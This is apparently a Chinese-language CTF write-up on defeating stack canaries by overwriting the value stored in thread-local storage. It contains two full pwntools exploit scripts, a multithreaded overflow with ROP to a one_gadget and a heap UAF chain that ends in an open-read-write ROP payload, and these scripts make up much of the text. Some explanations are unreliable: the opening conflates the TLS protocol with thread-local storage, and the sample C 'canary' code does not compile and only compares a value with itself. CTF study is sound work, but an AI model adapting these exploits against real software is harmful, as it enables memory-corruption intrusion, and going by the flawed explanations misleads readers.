引言:什麼是TLScanary?
在二進位制漏洞利用(Pwn)領域,攻擊者面臨著層層防護措施的挑戰。在安全競賽(如CTF)和實際漏洞利用中,TLS(執行緒本地儲存)和堆疊保護(stack canary)是常見的防護技術。TLScanary應運而生,它結合了TLS協議與堆疊保護技術,專門用於處理這些受保護的二進位制檔案,從而增加了攻擊的難度。
可以說,TLS和canary在保護機制中有著密不可分的關係。
TLS(執行緒本地儲存)是一種線上程記憶體中儲存特定資料的機制。每個執行緒都有自己獨立的TLS區域,用於儲存與該執行緒相關的資料。這種機制在多執行緒程式中尤為重要,因為它確保每個執行緒都有自己獨立的儲存空間,而不會干擾其他執行緒的資料。
在堆疊保護方面,TLS常被用於儲存堆疊canary值。堆疊canary是一種防止緩衝區溢位攻擊的安全措施,它是一種在函式返回地址之前插入的特殊值。其作用類似於“哨兵”,如果緩衝區溢位覆蓋了canary值,程式會在返回前檢測到不一致,並立即終止執行,從而防止惡意程式碼的執行。
對於多執行緒的canary來說,每個執行緒的canary都是獨立存在的。當一個執行緒被建立時,作業系統會為該執行緒分配一個獨立的TLS區域,這個區域通常透過某種執行緒控制塊(TCB)來管理。每個執行緒都有一個獨立的TCB,從而確保了每個執行緒的canary值的獨立性和安全性。
多執行緒環境中的TLS和Canary
在多執行緒環境中,每個執行緒的堆疊上都會有一個獨立的canary值。作業系統或執行時庫在為每個執行緒分配堆疊時,會在堆疊的適當位置插入一個canary值,以防止緩衝區溢位攻擊。
下面我們看一段程式碼,展示瞭如何在多執行緒環境中使用TLS和canary:
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
// 生成隨機canary值的函式
unsigned long generate_random_canary() {
return (unsigned long)rand();
}
// 終止程式的函式
void terminate_program() {
printf("Canary value has been modified. Terminating program.\n");
exit(1);
}
// 執行緒函式
void* thread_function(void* arg) {
// 每個執行緒有自己獨立的TLS區域
__thread int thread_local_variable = 0;
// 在函式入口處插入canary值
unsigned long canary_value = generate_random_canary();
unsigned long expected_canary_value = canary_value;
// 檢查canary值是否被修改
if (canary_value != expected_canary_value) {
terminate_program();
}
// 執行緒的實際工作
// ...
return NULL;
}
int main() {
const int NUM_THREADS = 5;
pthread_t threads[NUM_THREADS];
// 建立多個執行緒
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&threads[i], NULL, thread_function, NULL);
}
// 等待所有執行緒完成
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
可以看到,每個執行緒都有自己的TLS區域和獨立的canary值,從而確保了多執行緒程式的安全性。
但是,多執行緒的canary通常也有被利用的時候,當程式建立執行緒的時候會建立TLS,TLS裡面會儲存有canary的值,而TLS會儲存在stack高地址的地方那麼就是說,如果我們可以透過溢位覆蓋到TLS的位置那麼就可以繞過canary,但是這個條件比較苛刻。
-
溢位位元組夠大,通常至少一個page(4K)
-
建立一個執行緒,線上程內棧溢位
所以一般來說還是比較安全的,但是不排除,有些疏忽的漏洞導致攻擊者可以修改到stack_guard欄位的內容,要了解stack_guard首先先看兩個結構體。
struct pthread結構體解析
為了更好地理解TLS和canary的具體實現,我們需要了解struct pthread
結構體。這個結構體包含了執行緒控制塊(TCB)和其他相關資訊。
#include <stddef.h> // 為了使用 size_t
/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
// 定義執行緒控制塊頭部結構體
// 可以根據實際情況進行定義
// 例如:執行緒ID、狀態資訊等
int thread_id;
// 其他相關資訊
} tcbhead_t;
/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
/* This overlaps the TCB as used for TLS without threads (see tls.h). */
tcbhead_t header; // 可能與TLS相關的頭部資訊
#else
struct {
// 更復雜的結構體定義
// 可能包含與TLS相關的更多詳細資訊
// ...
} header;
#endif
/* Extra padding for alignment and potential future use */
void *__padding[24]; // 填充陣列,用於對齊和可能的未來擴充套件
};
在這個結構體中,我們看到第一個欄位是tcbhead_t
,它包含了執行緒控制塊(TCB)的相關資訊。
tcbhead_t結構體解析
typedef struct {
void *tcb; /* 指向執行緒控制塊(TCB)的指標 */
dtv_t *dtv; /* 執行緒特定資料的指標 */
void *self; /* 指向執行緒描述符的指標 */
int multiple_threads; /* 標識是否有多個執行緒 */
int gscope_flag; /* 全域性作用域標誌 */
uintptr_t sysinfo; /* 系統資訊 */
uintptr_t stack_guard;/* 堆疊保護 */
uintptr_t pointer_guard; /* 指標保護 */
/* 其他可能的欄位... */
} tcbhead_t;
在這個結構體中,stack_guard
欄位存放的就是單執行緒的canary值。攻擊者通常可以透過覆蓋這個值的內容來繞過canary保護。
如何利用TLScanary進行攻擊
要利用TLScanary進行攻擊,攻擊者需要找到覆蓋或篡改canary值的方法,從而繞過堆疊保護。具體步驟如下:
-
定位canary值:找到目標程式中存放canary值的記憶體位置。
-
構造溢位:利用緩衝區溢位或其他漏洞覆蓋canary值。
-
篡改canary值:將canary值修改為正確的值,避免程式檢測到不一致。
-
執行攻擊程式碼:利用篡改後的記憶體執行惡意程式碼。
對於多執行緒和單執行緒的canary利用,各用一個具體的題目演示一下
多執行緒TLScanary
題目保護情況(除pie外剩下全部開啟)
64位ida反彙編看看
可以看見有建立執行緒的函式,pthread_create和加入執行緒的函式,pthread_join。下面介紹一下這兩個函式
執行緒函式介紹
在多執行緒程式設計中,POSIX執行緒(Pthreads)庫提供了一組函式,用於建立和管理執行緒。本文將介紹兩個關鍵函式:pthread_create
和 pthread_join
,以及它們在實際程式碼中的應用。
pthread_create
函式用於建立一個新執行緒,並指定執行緒的起始例程和引數。其原型如下:
int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);
引數說明:
-
pthread_t *thread
:指向執行緒識別符號的指標,用於儲存建立的執行緒的ID。 -
const pthread_attr_t *attr
:執行緒屬性指標,可以用於設定執行緒屬性。如果傳入NULL
,則使用預設屬性。 -
void *(*start_routine)(void *)
:指向執行緒起始例程的指標,即執行緒開始執行的函式。 -
void *arg
:傳遞給起始例程的引數。
那麼剛剛ida看見的程式碼意思就是
pthread_create
函式被呼叫以建立一個新執行緒,執行 start
函式。
建立執行緒後,主執行緒呼叫 pthread_join
,等待新執行緒結束。
如果 pthread_join
返回非零值,則表示發生錯誤,可以在 if
語句中處理,列印處異常。
那麼接下來看看加入的執行緒,start函式
那麼可以看見給了一個很長的長度夠我們溢位,很符合第一個多執行緒TLS canary攻擊的前提。
分析:
我們可以透過覆蓋執行緒canary來繞過canary,但是建立執行緒程式只能執行一次,而且每個執行緒的canary是獨立的,也就意味著我們只能一條ROP鏈達到洩露地址執行one_gadget
思路:
1.覆蓋執行緒TLS,修改canary的內容
2.在洩露libc地址的同時把one_gadget讀入bss段上
3.進行棧遷移執行one_gadget
EXP:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
io =remote('pwn.challenge.ctf.show',28270)
elf =ELF('../pwn89')
puts_plt = elf.plt["puts"]
put_got = elf.got["puts"]
read_plt = elf.plt["read"]
leave = 0x400B71
pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
bss_addr = 0x602010
payload = b'a' * 0x1010 + p64(bss_addr - 0x8)+ p64(pop_rdi_ret) + p64(put_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave)
payload = payload.ljust(0x1900,b'a')
io.sendlineafter("send:\n",str(0x1900))
#sleep(1)
io.send(payload)
io.recvuntil("See you next time!\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr------>'+hex(puts_addr))
one_gadget = puts_addr - libc.sym['puts'] + 0x10a2fc
io.sendline(p64(one_gadget))
io.interactive()
單執行緒TLScanary
題目保護情況(保護全開)
64位ida反彙編
初看是堆的選單,我們到具體函式分析一下
add函式,申請堆塊的大小有限制,會建立另一個堆塊儲存我們堆塊的指標
delete函式,存在明顯的UAF漏洞
show函式,可以分別列印我們建立的堆塊已經程式建立堆塊的內容(後者只能用一次)
edit函式,存在一個很嚴重的漏洞,可以任意地址寫,但是由於unsigned_int8型別指標的限制我們只能改一個位元組
除此之外,read函式還有溢位,但是溢位長度不夠
程式開了沙箱,不能直接獲取shell,只能orw獲取flag
分析:
存在UAF漏洞和列印函式,可以洩露heap地址和libc地址,可以透過任意地址寫覆蓋TLScanary,透過棧遷移,執行ORW
思路:
1.透過UAF漏洞,和show功能,分別洩露heap地址,和libc地址
2.透過任意地址寫,覆蓋 stack_guard,進而繞過canary
3.透過棧遷移,把程式流劫持到heap上使用orw獲取flag
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc =ELF('./libc-2.31.so')
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):
io.sendlineafter('choice:','1')
io.sendlineafter('Idx:',str(index))
io.sendlineafter('Size:',str(size))
io.sendafter('Content:',content)
def edit(index,content1,content2):
io.sendlineafter('choice:','2')
io.sendafter('Idx:',index)
io.sendafter('context1: ',content1)
io.sendafter('context2: ',content2)
def show(rw,index):
io.sendlineafter('choice:','3')
io.sendlineafter('choice:',rw)
io.sendlineafter('Idx:',str(index))
def free(index):
io.sendlineafter('choice:','4')
io.sendlineafter('Idx:',str(index))
#gdb.attach(io)
for i in range(6):
add(i,0x100,'a')
for i in range(1,5):
free(i)
#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))
#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()
pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)
orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'
add(6,0x120,orw_payload)
payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)
io.interactive()
結語:
TLScanary結合了TLS和堆疊canary的技術,顯著增加了二進位制漏洞利用的難度。理解TLS和canary的工作原理,對於編寫更安全的程式和防範攻擊至關重要。無論是單執行緒的canary還是多執行緒的canary,都需要我們去重視